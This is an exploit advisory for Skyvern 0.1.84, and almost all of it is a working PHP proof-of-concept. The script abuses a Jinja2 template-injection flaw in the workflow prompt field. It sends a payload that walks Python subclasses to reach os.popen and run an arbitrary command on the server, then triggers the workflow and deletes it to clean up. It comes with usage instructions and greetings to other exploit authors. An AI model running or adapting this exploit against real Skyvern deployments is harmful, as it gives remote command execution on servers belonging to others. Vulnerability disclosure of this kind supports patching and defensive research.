============================================================================================================================================= | # Title : Skyvern 0.1.84 Code Execution Vulnerability Analysis | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.skyvern.com/ | ============================================================================================================================================= [+] Summary : The vulnerability exists in the workflow creation functionality where user-supplied input in the prompt field is processed through Jinja2 templating engine without proper sanitization, allowing attackers to execute arbitrary Python code and ultimately system commands.. [+] POC : php poc.php target = rtrim($target, '/'); $this->api_key = $api_key; $this->workflow_id = null; } private function send_request($method, $endpoint, $data = null) { $url = $this->target . $endpoint; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_HTTPHEADER => [ 'X-API-Key: ' . $this->api_key, 'Content-Type: application/json' ], CURLOPT_CUSTOMREQUEST => $method, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ]); if ($data !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); } $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error) { throw new Exception("Request failed: " . $error); } return [ 'code' => $http_code, 'body' => $response ]; } private function create_workflow_json($payload) { return [ 'title' => $this->random_string(8), 'description' => '', 'proxy_location' => 'RESIDENTIAL', 'webhook_callback_url' => '', 'persist_browser_session' => false, 'model' => null, 'totp_verification_url' => null, 'workflow_definition' => [ 'parameters' => [], 'blocks' => [ [ 'label' => 'block_1', 'continue_on_failure' => false, 'block_type' => 'task_v2', 'prompt' => $this->generate_payload($payload), 'url' => '', 'max_steps' => 25, 'totp_identifier' => null, 'totp_verification_url' => null ] ] ], 'is_saved_task' => false ]; } private function generate_payload($command) { return "{% for x in ().__class__.__base__.__subclasses__() %}\n" . " {% if 'warning' in x.__name__ %}\n" . " {{ x()._module.__builtins__['__import__']('os').popen(\"" . addslashes($command) . "\").read() }}\n" . " {% endif %}\n" . "{% endfor %}"; } private function random_string($length = 8) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $result = ''; for ($i = 0; $i < $length; $i++) { $result .= $characters[rand(0, strlen($characters) - 1)]; } return $result; } public function check() { try { $response = $this->send_request('GET', '/api/v1/workflows'); if ($response['code'] !== 200) { return "Target is probably not Skyvern or API key is invalid"; } $json_response = json_decode($response['body'], true); if ($json_response === null) { return "Failed to parse response - target may not be Skyvern"; } return "Target appears to be Skyvern and is accessible"; } catch (Exception $e) { return "Check failed: " . $e->getMessage(); } } public function create_workflow($payload) { try { $workflow_data = $this->create_workflow_json($payload); $response = $this->send_request('POST', '/api/v1/workflows', $workflow_data); if ($response['code'] !== 200) { throw new Exception("Failed to create workflow. HTTP Code: " . $response['code']); } $json_response = json_decode($response['body'], true); if (!isset($json_response['workflow_permanent_id'])) { throw new Exception("Workflow ID not found in response"); } $this->workflow_id = $json_response['workflow_permanent_id']; echo "[+] Workflow created successfully. ID: " . $this->workflow_id . "\n"; return true; } catch (Exception $e) { echo "[-] Failed to create workflow: " . $e->getMessage() . "\n"; return false; } } public function trigger_workflow() { if (!$this->workflow_id) { echo "[-] No workflow ID available\n"; return false; } try { $data = ['workflow_id' => $this->workflow_id]; $response = $this->send_request('POST', "/api/v1/workflows/{$this->workflow_id}/run", $data); if ($response['code'] !== 200) { throw new Exception("Failed to trigger workflow. HTTP Code: " . $response['code']); } $json_response = json_decode($response['body'], true); if (!isset($json_response['workflow_id']) && !isset($json_response['workflow_run_id'])) { throw new Exception("Workflow execution response invalid"); } echo "[+] Workflow triggered successfully\n"; return true; } catch (Exception $e) { echo "[-] Failed to trigger workflow: " . $e->getMessage() . "\n"; return false; } } public function cleanup() { if (!$this->workflow_id) { return; } try { $this->send_request('DELETE', "/api/v1/workflows/{$this->workflow_id}"); echo "[+] Workflow cleaned up\n"; } catch (Exception $e) { echo "[-] Failed to cleanup workflow: " . $e->getMessage() . "\n"; } } public function exploit($command) { echo "[*] Starting exploitation...\n"; echo "[*] Checking target...\n"; $check_result = $this->check(); echo "[*] Check result: " . $check_result . "\n"; echo "[*] Creating malicious workflow...\n"; if (!$this->create_workflow($command)) { return false; } echo "[*] Triggering workflow execution...\n"; if (!$this->trigger_workflow()) { return false; } echo "[+] Exploitation completed. Command should be executed.\n"; return true; } } if (php_sapi_name() === 'cli') { if ($argc < 4) { echo "Usage: php " . $argv[0] . " \n"; echo "Example: php " . $argv[0] . " http://localhost:8000 abc123 \"id\"\n"; exit(1); } $target = $argv[1]; $api_key = $argv[2]; $command = $argv[3]; $exploit = new SkyvernSSTI_RCE($target, $api_key); try { $exploit->exploit($command); } catch (Exception $e) { echo "[-] Exploitation failed: " . $e->getMessage() . "\n"; } finally { $exploit->cleanup(); } } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================